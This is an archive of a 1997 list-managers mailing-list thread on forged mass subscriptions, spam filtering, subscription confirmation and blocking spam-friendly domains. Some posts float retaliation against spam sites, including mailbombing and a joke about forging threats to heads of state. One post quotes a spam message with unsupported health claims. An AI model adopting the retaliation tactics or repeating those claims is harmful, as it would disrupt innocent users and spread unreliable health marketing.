From owner-list-managers-outgoing Tue Apr 1 01:21:29 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id BAA11265 for list-managers-outgoing; Tue, 1 Apr 1997 01:08:53 -0800 (PST) Received: from cheviot.ncl.ac.uk (cheviot.ncl.ac.uk [128.240.233.51]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id BAA11236 for ; Tue, 1 Apr 1997 01:08:29 -0800 (PST) Received: from [128.240.3.209] by cheviot.ncl.ac.uk id (8.7.6/ for ncl.ac.uk) with ESMTP; Tue, 1 Apr 1997 10:08:44 +0100 (BST) X-Sender: nmf3@pow.ncl.ac.uk Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 1 Apr 1997 10:08:27 +0100 To: list-managers-digest@greatcircle.com From: Morna Findlay Subject: Malicious mass subscriptions Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Can I ask if any list managers on this list have been plagued by indivuduals who maliciously join innocent users to their lists? What's the best way to avoid this - making users confirm their subscriptions? cheers M From owner-list-managers-outgoing Tue Apr 1 08:06:54 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA04697 for list-managers-outgoing; Tue, 1 Apr 1997 07:56:52 -0800 (PST) Received: from wildride.schoneal.com (wildride.schoneal.com [206.81.38.2]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id HAA04688 for ; Tue, 1 Apr 1997 07:56:45 -0800 (PST) Received: (from meo@localhost) by wildride.schoneal.com (8.6.11/8.6.11) id JAA32398; Tue, 1 Apr 1997 09:59:22 -0600 Message-Id: <199704011559.JAA32398@wildride.schoneal.com> Subject: News to check out soonest! To: nobody@wildride.schoneal.com (nobody) Date: Tue, 1 Apr 1997 09:59:22 -0600 (CST) From: meo@schoneal.com (Miles O'Neal) Reply-To: meo@schoneal.com (Miles O'Neal) Organization: Schober O'Neal, Inc / Net Ads X-WWW-URL: http://www.schoneal.com/~meo/ X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk A 3rd sense is now available to World Wide Web and other Internet users - scent! Read all about the Odor Transport Protocol and the products available for it now, at http://www.rru.com/webodor/ . A company has seceded from the USA, declaring itself to be the first CyberNation: http://www.rru.com/Secede/ . Finally, some friends and I are close to releasing software that will deal effectively with spammers. It monitors a number of commonly targeted lists and individual email addresses for spam. When the spam detector goes off, the software analyzes the headers, integrating with "whois", "finger" and other information, tracks down the spammer, and forges email to various heads of state from the spammer, threatening to kill them. More news as it breaks. -Miles meo@rru.com From owner-list-managers-outgoing Tue Apr 1 10:22:58 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA20326 for list-managers-outgoing; Tue, 1 Apr 1997 09:51:29 -0800 (PST) Received: from kitsune.swcp.com (swcp.com [198.59.115.2]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id JAA20306 for ; Tue, 1 Apr 1997 09:51:20 -0800 (PST) Received: (from lazlo@localhost) by kitsune.swcp.com (8.8.5/1.2.3) id KAA08203 for list-managers@greatcircle.com; Tue, 1 Apr 1997 10:51:50 -0700 (MST) Message-Id: <199704011751.KAA08203@kitsune.swcp.com> Subject: Malicious mass subscriptions To: list-managers@greatcircle.com (lm) Date: Tue, 1 Apr 1997 10:51:50 -0700 (MST) From: "Lazlo Nibble" X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > Can I ask if any list managers on this list have been plagued by > indivuduals who maliciously join innocent users to their lists? > > What's the best way to avoid this - making users confirm their subscriptions? That's the best way to protect your lists, yes. -- ::: Lazlo (lazlo@swcp.com; http://www.swcp.com/lazlo) ::: Internet Music Wantlists: http://www.swcp.com/lazlo/Wantlists From owner-list-managers-outgoing Tue Apr 1 10:56:39 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA22469 for list-managers-outgoing; Tue, 1 Apr 1997 10:07:09 -0800 (PST) Received: from [198.102.244.97] (pb520-ppp.greatcircle.com [198.102.244.97]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id IAA10755; Tue, 1 Apr 1997 08:53:59 -0800 (PST) X-Sender: brent@honor.greatcircle.com Message-Id: In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 1 Apr 1997 08:54:19 -0800 To: Morna Findlay , list-managers-digest@greatcircle.com From: Brent Chapman Subject: Re: Malicious mass subscriptions Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 10:08 AM +0100 4/1/97, Morna Findlay wrote: >Can I ask if any list managers on this list have been plagued by >indivuduals who maliciously join innocent users to their lists? > >What's the best way to avoid this - making users confirm their subscriptions? That helps; we use the "+confirm" subscription policy feature in the current version of Majordomo to do that. The latest thing we're seeing, though, is forged "info" and "intro" requests (i.e., "tell me about this list"), which are not confirmed. They're only good for a single message to the victim, but that's still a lot of email... We've had some success using a front-end filter for Majordomo that blocks incoming requess containing certain known-problem domains in the "Received:" lines. Unfortunately, the code I'm using for this is something I slapped together in a hurry, and has a bunch of deficiencies, so I'm not willing to release it. Future versions of Majordomo should have something like this built in, though. -Brent -- Brent Chapman Internet/intranet training and consulting, Brent@GreatCircle.COM specializing in network design and security. Great Circle Associates,Inc. Visit us at http://www.greatcircle.com/ From owner-list-managers-outgoing Wed Apr 2 00:07:06 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id AAA09327 for list-managers-outgoing; Wed, 2 Apr 1997 00:05:44 -0800 (PST) Received: from cheviot.ncl.ac.uk (cheviot.ncl.ac.uk [128.240.233.51]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id AAA09303; Wed, 2 Apr 1997 00:05:13 -0800 (PST) Received: from [128.240.3.209] by cheviot.ncl.ac.uk id (8.7.6/ for ncl.ac.uk) with ESMTP; Wed, 2 Apr 1997 09:05:47 +0100 (BST) X-Sender: nmf3@pow.ncl.ac.uk Message-Id: In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Wed, 2 Apr 1997 09:05:46 +0100 To: Brent Chapman , list-managers-digest@GreatCircle.COM From: Morna Findlay Subject: Re: Malicious mass subscriptions Sender: list-managers-owner@GreatCircle.COM Precedence: bulk >Brent wrote > >We've had some success using a front-end filter for Majordomo that blocks >incoming requess containing certain known-problem domains in the >"Received:" lines. Unfortunately, the code I'm using for this is something >I slapped together in a hurry, and has a bunch of deficiencies, so I'm not >willing to release it. Future versions of Majordomo should have something >like this built in, though. Interesting. We;ve been thinking about blobking - or threaten to block - mail from certain domains from which we get a lot of problems. That of corse would affect the valid users from those domains. Has anyone done this? I;d be *really* interested to know what other list-managers think are the implications, cheers M From owner-list-managers-outgoing Wed Apr 2 09:30:00 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA28429 for list-managers-outgoing; Wed, 2 Apr 1997 09:19:42 -0800 (PST) Received: from orange.metron.com (orange.katz.com [204.182.31.1]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id JAA28380 for ; Wed, 2 Apr 1997 09:19:25 -0800 (PST) Received: (from lou@localhost) by orange.metron.com (8.8.4/8.8.4) id JAA11878 for list-managers@GreatCircle.COM; Wed, 2 Apr 1997 09:17:20 -0800 (PST) From: Lou Katz Message-Id: <199704021717.JAA11878@orange.metron.com> Subject: Blocking domains To: list-managers@GreatCircle.COM Date: Wed, 2 Apr 1997 09:17:20 -0800 (PST) X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk In response to most spams, I immediately block the entire Class C set of netnumbers from which the spam originated. Since I can, I block ALL packets, which I just throw away, causing the offending site to timeout, rather than gettting a service refused response. This blocks DNS lookup, Finger, SMTP, etc. I believe that raising the pain threshold for sites that harbor spammers by making their services somewhat less useful for their legit customers (if any) is a useful and legitimate response. I also think that if each of us send a single, lengthy message to the sites involved for each spam received, the return traffic should also increase the pain on the source and its providers. Lou From owner-list-managers-outgoing Wed Apr 2 09:53:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA02753 for list-managers-outgoing; Wed, 2 Apr 1997 09:51:11 -0800 (PST) Received: from magpie.com (magpie.com [206.138.212.31]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id JAA02746 for ; Wed, 2 Apr 1997 09:51:03 -0800 (PST) Received: from ripley (ripley.magpie.com [192.0.1.2]) by magpie.com (8.8.5/8.7.3) with SMTP id MAA16964 for ; Wed, 2 Apr 1997 12:51:18 -0500 Message-Id: <3.0.32.19970402124624.00a97ec0@192.0.1.6> X-Sender: manes@192.0.1.6 X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 02 Apr 1997 12:46:27 -0500 To: List-Managers@GreatCircle.COM From: Steve Manes Subject: SMTP Firewalls Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 01:00 AM 4/2/97 -0800, you wrote: >Interesting. We;ve been thinking about blobking - or threaten to block - >mail from certain domains from which we get a lot of problems. > >That of corse would affect the valid users from those domains. > >Has anyone done this? I;d be *really* interested to know what other >list-managers think are the implications, Yes. I run an SMTP firewall which permanently blocks mail from 45 domains, including Cyberpromo, PromoNet, ShoppingPlanet and a bunch more. However, the worst of the lot has been Earthlink and after weeks of no response from Earthlink's administrators about the growing number of spammers using their system to abuse others, I tossed Earthlink in my firewall as well. Any Earthlink user who attempts to subscribe to a Magpie mailing list received notice of this blackout. I know it's cost Earthlink at least two Magpie list subscribers, who moved to local ISPs in order to maintain posting access to the lists (a firewalled domain can still receive mail from the list, it just can't post). Worldnet.att.net will shortly join Earthlink in my /etc/hosts.deny file unless it cleans up its act quickly. Worldlink claims that spammers are using its machines as a relay and that they're attempting to plug up this security hole. -----------------------[ http://www.magpie.com ]-----------=o&>o--------- Steve Manes | Int'l Bass Players | for info, email manes@magpie.com | NYC Motorcyclists | server@magpie.com with 94 Harley-Davidson FLHR | Triumph MC Owners | the message text, "lists" 95 Triumph Super III | Motorcycle Safety | 97 Triumph T595 | | N'Yawk, N'Yawk From owner-list-managers-outgoing Wed Apr 2 10:37:24 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA07101 for list-managers-outgoing; Wed, 2 Apr 1997 10:28:40 -0800 (PST) Received: from eagle.inetnebr.com (eagle.inetnebr.com [199.184.119.14]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id KAA07070 for ; Wed, 2 Apr 1997 10:28:29 -0800 (PST) Received: from carrot.tssi.com (root@gateway.tssi.com [198.147.197.29]) by eagle.inetnebr.com (8.8.5/8.8.5) with ESMTP id MAA12147 for ; Wed, 2 Apr 1997 12:28:56 -0600 (CST) Received: from celery.tssi.com (carrot.tssi.com) by carrot.tssi.com (8.6.12/8.6.9) with ESMTP id MAA14880 for ; Wed, 2 Apr 1997 12:28:53 -0600 Received: (from celery.tssi.com) by celery.tssi.com (8.7.5/8.7.3) id MAA12189 for list-managers@GreatCircle.com; Wed, 2 Apr 1997 12:28:52 -0600 From: Mike Nolan Message-Id: <199704021828.MAA12189@celery.tssi.com> Subject: Re: Blocking domains To: list-managers@GreatCircle.com (List Managers) Date: Wed, 2 Apr 1997 12:28:52 -0600 (CST) Reply-To: nolan@tssi.com X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Lou Katz wrote: > In response to most spams, I immediately block the entire Class C > set of netnumbers from which the spam originated. Since I can, > I block ALL packets, which I just throw away, causing the offending > site to timeout, rather than gettting a service refused response. > This blocks DNS lookup, Finger, SMTP, etc. I believe that > raising the pain threshold for sites that harbor spammers by making > their services somewhat less useful for their legit customers (if any) > is a useful and legitimate response. A significant portion of the spam I receive comes from sites like AOL and att.worldnet.net. Even though I could block traffic from these sources, I'm not sure I would want to. > I also think that if each of us send a single, lengthy message to > the sites involved for each spam received, the return traffic should > also increase the pain on the source and its providers. If our subscribers did this to one of our lists or our home site, most of us would be mad as hell. I don't think we're better than the rest of the net community, and can come up with precious few instances where mailbombing is a good idea. But I do think that the list management community may need to come up with its own solution to the problem, since so far the net community as a whole hasn't. In general, I see several different situtions, each of which may require a different response. 1. The site management is an active and willing participant in the spamming. In this case, I think that some form of dire sanction needs to be applied, blocking the entire domain is OK by me. I don't see where e-mail bombing the site is likely to be effective, though, especially because such a site might configure itself to ignore that kind of attack anyway. (I'm not an expert on this subject, but isn't it possible to block some forms of traffic in certain directions, which could include e-mail bombs?) 2. The site management is aware of the spamming, not an active participant but tolerant of it. Blocking might be a solution here, and sending e-mail bombs might actually be more effective than in the first case, if that's what it takes to get their attention. 3. The site management is unaware of the spamming, and possibly willing to take steps to deal with it once alerted. Unless spam constitues a major portion of the traffic from this site, in which case it may more properly belong in one of the first two categories, I don't think that blocking is advisable, and mail bombing is likely to be less effective than a politely worded advisory and request for action. The more willing that the site management is to take action, the less likely I am to want to block traffic from it. 4. The site is an unwilling participant, through any of several security holes. I could see blocking as a short-term fix until security is improved. I think that mail bombing just exacerbates the problem at that site, though. 5. The site isn't really involved, it's being spoofed or forged into headers. I'm getting out of my technical depth at this point, spoofing may not be happening all that much in real life, but I'm trying to come up with a fairly complete taxonomical breakdown, so I needed to cover this variant. In the event of either spoofing or forging, neither blocking nor mail bombing is effective, it's not even clear to me that alerting the site management would always help. A further problem is the load on the net providers to the sites being affected. In the long run, the most effective form of enforcement may be for the IP community (the carriers) to refuse to do business with spammers, an updated and enforced version of the 'acceptable use' guidelines if you will. Even that might not help entirely, anyone who has ever gotten a nasty message with instructions to call area code 809 might have discovered that the phone companies of the world mostly tolerate this abuse of their billing system. The best solution to me is still some kind of authentication system, to establish certainty as to both the origination and author of all messages. which may be technically impossible and in violation of the US Government's archaic encryption rules anyway. And I'm not sure it couldn't be perverted by willing spammers, too. (And does this raise First Amendment concerns?) If this could be tied into some kind of transfer of payments system, so that unsolicited e-mail is paid for by the sender on a per-address basis rather than $19.00 per month (or whatever), then spam mail could become a problem of the past, except for bulk marketers who can afford it. My e-mail box becomes more like my postal mail box at that point, over half of the mail I receive most days is bulk rate mail. Thank heaven that isn't true for my e-mail box, at least not yet. And the ultimate transfer of payments system would pay ME for receiving such mail, or at least credit my account at my IP. Hell, I might even read some of it at that point! -- Mike Nolan From owner-list-managers-outgoing Wed Apr 2 11:34:51 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA12835 for list-managers-outgoing; Wed, 2 Apr 1997 11:11:09 -0800 (PST) Received: from solutions.apple.com (solutions.apple.com [17.255.34.19]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id LAA12763; Wed, 2 Apr 1997 11:10:52 -0800 (PST) Received: from [17.219.12.99] (A17-219-12-99.apple.com [17.219.12.99]) by solutions.apple.com (8.6.10/A/UX 3.1) with ESMTP id LAA03133; Wed, 2 Apr 1997 11:12:52 -0800 Message-Id: In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Wed, 2 Apr 1997 11:08:19 -0800 To: Morna Findlay , Brent Chapman , list-managers-digest@GreatCircle.COM From: Chuq Von Rospach Subject: Re: Malicious mass subscriptions Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 12:05 AM -0800 4/2/97, Morna Findlay wrote: >>We've had some success using a front-end filter for Majordomo that blocks >>incoming requess containing certain known-problem domains in the >>"Received:" lines. >That of corse would affect the valid users from those domains. > >Has anyone done this? I've done this using procmail. Anything suspicious gets sent to my account instead of to the daemon. I can monitor, and correct requests can be forwarded back for processing. In reality, the domains used for spamming seem don't seem to have legitimate users of my systems -- your mileage may well vary here, so study the requests before making assumptions. It's *really* cut down my spam problems until I can get subscription confirmation finished. I *also* generate daily subscriber change reports, so I can quickly scan the new names every morning, and once I got my system in place, while the spammers are still at it, no spam account's made it onto one of my lists in three days (unless they're hiding well). Prior to that, ti was only a couple instead of (on bad days) a dozen or more. Fortunately, the spammers have patterns you can use to your benefit. Unfortunately, they sometimes change them slightly, so you have to keep watching. More unfortunately, the patterns make it obvious what most of the spam is, but they don't lend themselves to programmatic testing very easily, except in broad ways (if someone is signed up with a name of "lamer" or "remal", for instance, you can bet it's a spam. Certain other keywords can trip a warning, too, as can certain headers such as "peer crosschecked" showing up in the mail. I've yet to see a subscription request with a "peer crosschecked" line that was legitimate.... Now, to get EVERYONE to do peer crosschecking... grin... -- Chuq Von Rospach (chuq@apple.com) Apple IS&T Mail List Gnome Plaidworks Consulting (chuqui@plaidworks.com) ( +-+ The home for Hockey on the net) From owner-list-managers-outgoing Wed Apr 2 12:22:03 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA21065 for list-managers-outgoing; Wed, 2 Apr 1997 12:17:33 -0800 (PST) Received: from eagle.inetnebr.com (eagle.inetnebr.com [199.184.119.14]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id MAA21038 for ; Wed, 2 Apr 1997 12:17:19 -0800 (PST) Received: from carrot.tssi.com (root@gateway.tssi.com [198.147.197.29]) by eagle.inetnebr.com (8.8.5/8.8.5) with ESMTP id OAA14890 for ; Wed, 2 Apr 1997 14:17:37 -0600 (CST) Received: from celery.tssi.com (carrot.tssi.com) by carrot.tssi.com (8.6.12/8.6.9) with ESMTP id OAA16354 for ; Wed, 2 Apr 1997 14:17:37 -0600 Received: (from celery.tssi.com) by celery.tssi.com (8.7.5/8.7.3) id OAA13433 for list-managers@GreatCircle.com; Wed, 2 Apr 1997 14:17:35 -0600 From: Mike Nolan Message-Id: <199704022017.OAA13433@celery.tssi.com> Subject: Re: Malicious mass subscriptions To: list-managers@GreatCircle.com (List Managers) Date: Wed, 2 Apr 1997 14:17:35 -0600 (CST) Reply-To: nolan@tssi.com X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > It's *really* cut down my spam problems until I can get subscription > confirmation finished. I *also* generate daily subscriber change > reports, so I can quickly scan the new names every morning, and once I > got my system in place, while the spammers are still at it, no spam > account's made it onto one of my lists in three days (unless they're > hiding well). Prior to that, ti was only a couple instead of (on bad > days) a dozen or more. The two most effective things I've done were close my lists to non-subscribers (especially useful since one of my lists has a web archive site), and to implement a three day waiting period for new subscribers before their posting privileges are activated, a very trivial step with procmail/SmartList. I've had almost no spam or hate mail (a problem perhaps more common in my specialty, which is collegiate sports team fan lists) reach my subscribers since the three day waiting period was implemented, the only ones I can think of found a hole in my list security system, which I plugged quickly. Like Chuq, I also send myself a list of recent subscribers to see if I see any trends or sites to worry about, although I haven't taken any action based specifically on that yet. -- Mike Nolan From owner-list-managers-outgoing Wed Apr 2 18:06:44 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA03944 for list-managers-outgoing; Wed, 2 Apr 1997 18:03:49 -0800 (PST) Received: from ec2.earthchannel.com (ec2.earthchannel.com [205.160.21.65]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id SAA03926 for ; Wed, 2 Apr 1997 18:03:41 -0800 (PST) Received: from ec12.earthchannel.com (unverified [205.160.21.75]) by ec3.earthchannel.com (EMWAC SMTPRS 0.83) with SMTP id ; Wed, 02 Apr 1997 21:04:01 -0500 Message-ID: Comments: Authenticated sender is From: "Gess Shankar" Organization: Earth Channel Communications LLC To: List-Managers@greatcircle.com Date: Wed, 2 Apr 1997 20:52:23 -0500 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Forced Subs ended? Reply-to: gess@earthchannel.com X-mailer: Pegasus Mail for Win32 (v2.53/R1) Sender: list-managers-owner@GreatCircle.COM Precedence: bulk I have not seen any of the forged subs for the past two days. I would like to confirm if this is the case or the stuff is escaping the filters because of new mutations ListAdmin., EC From owner-list-managers-outgoing Thu Apr 3 02:22:09 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id BAA04148 for list-managers-outgoing; Thu, 3 Apr 1997 01:39:50 -0800 (PST) Received: from orange.metron.com (orange.katz.com [204.182.31.1]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id BAA04093 for ; Thu, 3 Apr 1997 01:39:18 -0800 (PST) Received: (from lou@localhost) by orange.metron.com (8.8.4/8.8.4) id BAA23441 for list-managers@GreatCircle.COM>; Thu, 3 Apr 1997 01:38:40 -0800 (PST) From: Lou Katz Message-Id: <199704030938.BAA23441@orange.metron.com> Subject: Date: Thu, 3 Apr 1997 01:01:16 -0800 (PST) To: list-managers@GreatCircle.COM Date: Thu, 3 Apr 1997 01:38:39 -0800 (PST) X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk A minor correction - by sending a lengthy message, I did not mean mailbombing at all. Rather, a treatise on why I was objecting to the particular piece of mail (included), and suggestions about how and why to cope with it. Some fine examples of this type of message have shown up on this list. I just wanted to indicate that a one-line message of complaint was not sufficient. A couple of screens of text plus the complete offending message strikes me as reasonable. It does take some care to make sure you don't complain to forged addresses, but the relays and the spam-havens should be notified. I believe that simply throwing away spam through filters will accomplish nothing besides keeping one's mailbox and the mailing lists you manage clear. In the meantime the bandwidth of the net is being choked by this unwanted traffic, and the 'cost' to the spammers and their allies is low. Silence on the part of upstream providers is acquiescence at best and encouragement at worst. If we can raise the cost of spamming we might reduce the volume. -=[Lou]=- From owner-list-managers-outgoing Thu Apr 3 19:00:53 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA15650 for list-managers-outgoing; Thu, 3 Apr 1997 18:53:20 -0800 (PST) Received: from acadcomp.cmp.ilstu.edu (acadcomp.cmp.ilstu.edu [138.87.1.3]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id SAA15633 for ; Thu, 3 Apr 1997 18:53:13 -0800 (PST) Received: from [138.87.143.23] by acadcomp.cmp.ilstu.edu (AIX 3.2/UCB 5.64/4.03) id AA31495; Thu, 3 Apr 1997 20:50:59 -0600 Message-Id: <9704040250.AA31495@acadcomp.cmp.ilstu.edu> Comments: Authenticated sender is From: "Gary Klass" To: List-Managers@greatcircle.com Date: Thu, 3 Apr 1997 20:55:17 +0000 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT Subject: spammer In-Reply-To: X-Mailer: Pegasus Mail for Win32 (v2.53/R1) Sender: list-managers-owner@GreatCircle.COM Precedence: bulk I've received three of these, fortunately listproc 6.0 won't let them through. I had thought that research@answerme... was one of the "black\remal mai" subscribers, but this is the only one to try posting to my list. Rejected message: sent to pos302-l@thor.cmp.ilstu.edu by DAEMON@ISP-AM.NET follows. Reason for rejection: suspicious address. -------------------------------------------------------------------------- ----- ------- Forwarded Message Follows ------- From: Self To: research@answerme.com Subject: p42qRsT9 text Cc: rova@mail.idt.net Reply-to: pop2.nai.net Date: Mon, 24 Mar 1997 08:36:48 ***A COMPANY THAT IS DEDICATED IN IMPROVING YOUR HEALTH WHILE OFFERING YOU THE OPPORTUNITY FOR IMPROVING YOUR WEALTH*** Dr. Earl Mindell, the world's undisputed best known nutritionist and author of his latest book "SECRET REMEDIES", provides the cutting edge treatments for common ailments that make use of vitamins, minerals, herbs, aminio acids and natuaral hormones. These -- Gary Klass gmklass@ilstu.edu Department of Political Science Illinois State University Normal Illinois 61790-4699 From owner-list-managers-outgoing Fri Apr 4 00:00:56 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA13483 for list-managers-outgoing; Thu, 3 Apr 1997 23:50:19 -0800 (PST) Received: from tardis.Tymnet.COM (tardis.tymnet.com [131.146.3.15]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id XAA13365 for ; Thu, 3 Apr 1997 23:49:53 -0800 (PST) Received: (from jms@localhost) by tardis.Tymnet.COM (8.8.5/8.8.5) id XAA05321 for List-Managers@greatcircle.com; Thu, 3 Apr 1997 23:48:20 -0800 (PST) From: Joe Smith Message-Id: <199704040748.XAA05321@tardis.Tymnet.COM> Subject: Cyberpromo e-mail headers To: List-Managers@greatcircle.com Date: Thu, 3 Apr 1997 23:48:19 -0800 (PST) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk I got a bounce message from mail addressed to a person who had not worked here since 1991. I had not seen this particular type of header from cyberpromo before. ----- Message header follows ----- Return-Path: Received: by tymix.Tymnet.COM (4.1/SMI-4.1) id AA21511; Thu, 3 Apr 97 20:06:27 PST Received: from 205.199.212.34 by tymix.Tymnet.COM (in.smtpd); 3 Apr 0 20:06:27 PDT Received: from Cyber Promotions' new "ISPam Network" - Details at http://www.cyberpromo.com From: ginette@savetrees.com X-Shocking-Web-Page: Visit http://www.cyberpromo.com X-Please-Note: THIS SERVER RELAYS MAIL FROM OTHER SOURCES ONLY! To: dreamfactory@ginette.com Subject: $FREEDOM$ Reply-To: ginette@savetrees.com Date: today Comments: Authenticated sender is Received: from savetrees.com (savetrees.com [000.000.000.000]) by savetrees.com (0.0.0./0.0.0.) with SMTP id AAA000000 for ; Thu, 3 Apr 1997 19:26:23 -0500 (EST) Message-Id: 0000000000.AAA000@savetrees.com X-Uidl: 88789179912968814279284189728723 ----- Message header ends ----- Note the "Date:" and "X-" headers. -Joe From owner-list-managers-outgoing Fri Apr 4 18:15:43 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA10766 for list-managers-outgoing; Fri, 4 Apr 1997 18:03:43 -0800 (PST) Received: from big.aa.net (big.aa.net [204.157.220.2]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id SAA10685 for ; Fri, 4 Apr 1997 18:03:03 -0800 (PST) Received: from cust81.max1.seattle.aa.net (cust81.max1.seattle.aa.net [205.199.141.81]) by big.aa.net (8.8.5/8.7.5) with SMTP id SAA13180 for ; Fri, 4 Apr 1997 18:01:07 -0800 X-Intended-For: Message-ID: <3345AEB2.3845@aa.net> Date: Fri, 04 Apr 1997 17:45:22 -0800 From: Troy Craig Reply-To: tc@aa.net X-Mailer: Mozilla 3.01 (Win16; I) MIME-Version: 1.0 To: List-Managers@GreatCircle.COM Subject: Re: List-Managers-Digest V6 #75 References: <199704040900.BAA21455@honor.greatcircle.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk PLEASE CANCEL THIS SUBSCRIPTION.I AM CURRENTLY BOOGED DOWN WITH EMAIL. THANKS. TROY List-Managers-Digest wrote: > > List-Managers-Digest Friday, April 4 1997 Volume 06 : Number 075 > > In this issue: > > Date: Thu, 3 Apr 1997 01:01:16 -0800 (PST) > spammer > Cyberpromo e-mail headers > > See the end of the digest for information on subscribing to the List-Managers > or List-Managers-Digest mailing lists and on how to retrieve back issues. > > ---------------------------------------------------------------------- > > Date: Thu, 3 Apr 1997 01:38:39 -0800 (PST) > From: Lou Katz > Subject: Date: Thu, 3 Apr 1997 01:01:16 -0800 (PST) > > A minor correction - by sending a lengthy message, I did not mean > mailbombing at all. Rather, a treatise on why I was objecting to the > particular piece of mail (included), and suggestions about how and why > to cope with it. Some fine examples of this type of message have shown > up on this list. I just wanted to indicate that a one-line message of > complaint was not sufficient. A couple of screens of text plus the > complete offending message strikes me as reasonable. It does take some > care to make sure you don't complain to forged addresses, but the relays > and the spam-havens should be notified. > > I believe that simply throwing away spam through filters will accomplish > nothing besides keeping one's mailbox and the mailing lists you manage > clear. In the meantime the bandwidth of the net is being choked by > this unwanted traffic, and the 'cost' to the spammers and their allies > is low. Silence on the part of upstream providers is acquiescence at best > and encouragement at worst. If we can raise the cost of spamming we > might reduce the volume. > > - -=[Lou]=- > > ------------------------------ > > Date: Thu, 3 Apr 1997 20:55:17 +0000 > From: "Gary Klass" > Subject: spammer > > I've received three of these, fortunately listproc 6.0 won't let them > through. I had thought that research@answerme... was one of the > "black\remal mai" subscribers, but this is the only one to try posting to > my list. > > Rejected message: sent to pos302-l@thor.cmp.ilstu.edu by > DAEMON@ISP-AM.NET follows. Reason for rejection: suspicious address. > - -------------------------------------------------------------------------- > - ----- ------- Forwarded Message Follows ------- From: Self > To: research@answerme.com Subject: > p42qRsT9 text Cc: rova@mail.idt.net Reply-to: pop2.nai.net > Date: Mon, 24 Mar 1997 08:36:48 > > ***A COMPANY THAT IS DEDICATED IN IMPROVING YOUR > HEALTH WHILE OFFERING YOU THE OPPORTUNITY FOR > IMPROVING YOUR WEALTH*** > > Dr. Earl Mindell, the world's undisputed best known nutritionist and > author of his latest book "SECRET REMEDIES", provides the cutting edge > treatments for common ailments that make use of vitamins, minerals, herbs, > aminio acids and natuaral hormones. These > 